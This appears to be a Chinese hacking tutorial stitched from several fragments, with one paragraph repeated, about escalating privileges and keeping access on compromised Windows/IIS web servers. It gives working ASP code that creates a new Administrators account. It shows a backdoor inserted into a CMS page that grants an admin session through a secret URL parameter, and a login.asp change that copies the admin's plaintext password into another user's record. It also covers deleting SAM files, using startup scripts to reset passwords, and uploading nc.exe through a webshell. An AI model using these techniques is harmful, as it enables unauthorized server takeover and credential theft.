将文件scripts.ini保存到"C://winnt//system32//GroupPolicy//Machine//Scripts" A.BAT的内容可以是NET USER yonghu mima 也可以是NET USER ADMINistrator XXX 这样可以恢复你想要得任意用户名的密码,也可以自己增加新的用户,但是要依赖重启,还有就是对SYSTEM32有写的权限 六 SAM 如果可以访问对方的SYSTEM32的话,删除对方的SAM文件,等他重启以后就是ADMIN用户密码为空 突然又有了想法,可以用REPLACE命令替换的吗,可以把你的SAM文件提取出来,上传到他的任意目录下,然后替换。不过不知道如果对SYSTEM32没有权限访问的话,能不能实现替换
<!--#INCLUDE file="conn.asp" --> <% guest_user=trim(request("guest_user")) guest_password=trim(request("guest_password")) Set rs= Server.createObject("ADODB.Recordset") sql="select * from admin where id=1" rs.open sql,conn,3,2 readuser=rs("guest_user") readpassword=rs("guest_password") if readuser<>guest_user or readpassword<>guest_password then response.write "请输入正确地管理员密码!" response.end else session("admin")=1 /'登陆后写入seesion中保存 response.write("登陆成功,请返回信息页") end if %>
<%@codepage=936 on error resume next if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then response.write "iP !s n0T RiGHt" else if request("username")<>"" then username=request("username") passwd=request("passwd") Response.Expires=0 Session.TimeOut=50 Server.ScriptTimeout=3000 set lp=Server.createObject("WSCRIPT.NETWORK") oz="WinNT://"&lp.ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",username) od.SetPassword passwd od.SetInfo oe.Add oz&"/"&username if err then response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……" else if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧" else Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了" end if end if else response.write "请输入输入用户名" end if end if %> 如何绕过防火墙提升权限
传上了srv.exe和nc.exe在H://long//sun***//lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下D://Documents and Settings//All Users//是应该有运行权限的。于是想把文件copy过去,但是发现我们的webshell没有对D盘写的权限,晕死。
方法8 :本地溢出。缓冲区溢出是进行攻击的最好办法,因为一般都可以获得系统权限或者管理员权限;不过很多远程溢出攻击不需要事先有执行程序的权限,而本地溢出就恰好适合提升权限。Win NT4 的 IIS4 的 ASP扩展有一个本地溢出漏洞,Windows 2000的静态图像服务也有一个溢出漏洞,利用该漏洞,攻击者可以获得系统权限。当然 Windows NT 和 Windows 2000 还有很多程序有溢出漏洞,这是这些程序不是总在运行,因此被利用的可能性比较小。
图一 其实动力文章系统的所有版本全部通杀,包括动易。大家可以自己实践一下。 我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp ,其验证内容如下: ............ else rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR") rs("LastLoginTime")=now() rs("LoginTimes")=rs("LoginTimes")+1 rs.update session.Timeout=SessionTimeout session("AdminName")=rs("username") rs.close set rs=nothing call CloseConn() Response.Redirect "Admin_Index.asp" 前面省略号是用户名密码不正确的验证,直到else,看一下,如果用户名密码正确就给你两个session值: session.Timeout=SessionTimeout session("AdminName")=rs("username") 我们在看一下其他管理页面是怎么验证session的,admin_index.asp一开始就这样: if session("AdminName") = "" then response.Redirect "Admin_Login.asp"end if 看起来似乎很严密,但是我们看一下,它这里值验证一个AdminName的session,只要我们的session内容是AdminName的话不就可以通过了?好,我们开工,先去弄到它的管理员账号再说,这个不要我教你了吧?到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下,我找一个比较没人而内容较多的页面FriendSite.asp(友情链接页面)来改,呵呵,这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话: dim id id=trim(request("qwe")) if id="120" then session("AdminName")="admin" '这里是假设的,实际操作中可以改成你想要得管理员账号 end if 我简单说一下这句话的意思,就是说从地址栏取得hehe的值,如果hehe=120的话,那么系统就给我们一个值为admin的session。好了,我们输入看一下,图二:
密码窃探篇 可以说上述方法在动网论坛或者其他论坛面前是苍白无力的,因为一般论坛由于交互性较强,所以在验证上考虑了很多。以动网为例,你要登录后台,他先验证你有没有先登录了前台,没有的话就给你返回一个错误页面。你登录前台后系统会给你一个seession来记录你的CacheName和你的ID,然后在你登录后台的时候拿出来比较你前后台身份是否一致,一直就通过,否则kill,面对这样严格的验证,难道我们就没有办法基后台了吗?对,没有了(谁拿鸡蛋扔我?这么浪费。),但是我们可以想新的办法,既然验证这么严格,那么我如果拿着密码光明正大的进去呢?因此,这里一个新的思路就是拿到它的明文密码。什么时候有明文密码呢?对了,就在管理员登录的时候。好,我们就在那里做手脚,把它登录的密码发给我们,然后我们拿和它的密码去登录。呵呵,是不是很像sniffer啊?在下在前几个月刚和好兄弟潜龙在野利用硬件sniffer配合省网安局的人端掉一个非法电影网站,足足4000G的硬盘,几十台服务器,一个字:爽 好了,我们开始修改它的程序。编辑login.asp,加入以下几句话: if not isnull(trim(request("username"))) then if request("username")="admin" then sql="update [Dv_Vser] set UserEmail=(select userpassword from [Dv_User] where username=/'"& request("username")&"/') where UserName=/'aweige/'" conn.execute(sql) end if end if
传上了srv.exe和nc.exe在H://long//sun***//lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下D://Documents and Settings//All Users//是应该有运行权限的。于是想把文件copy过去,但是发现我们的webshell没有对D盘写的权限,晕死。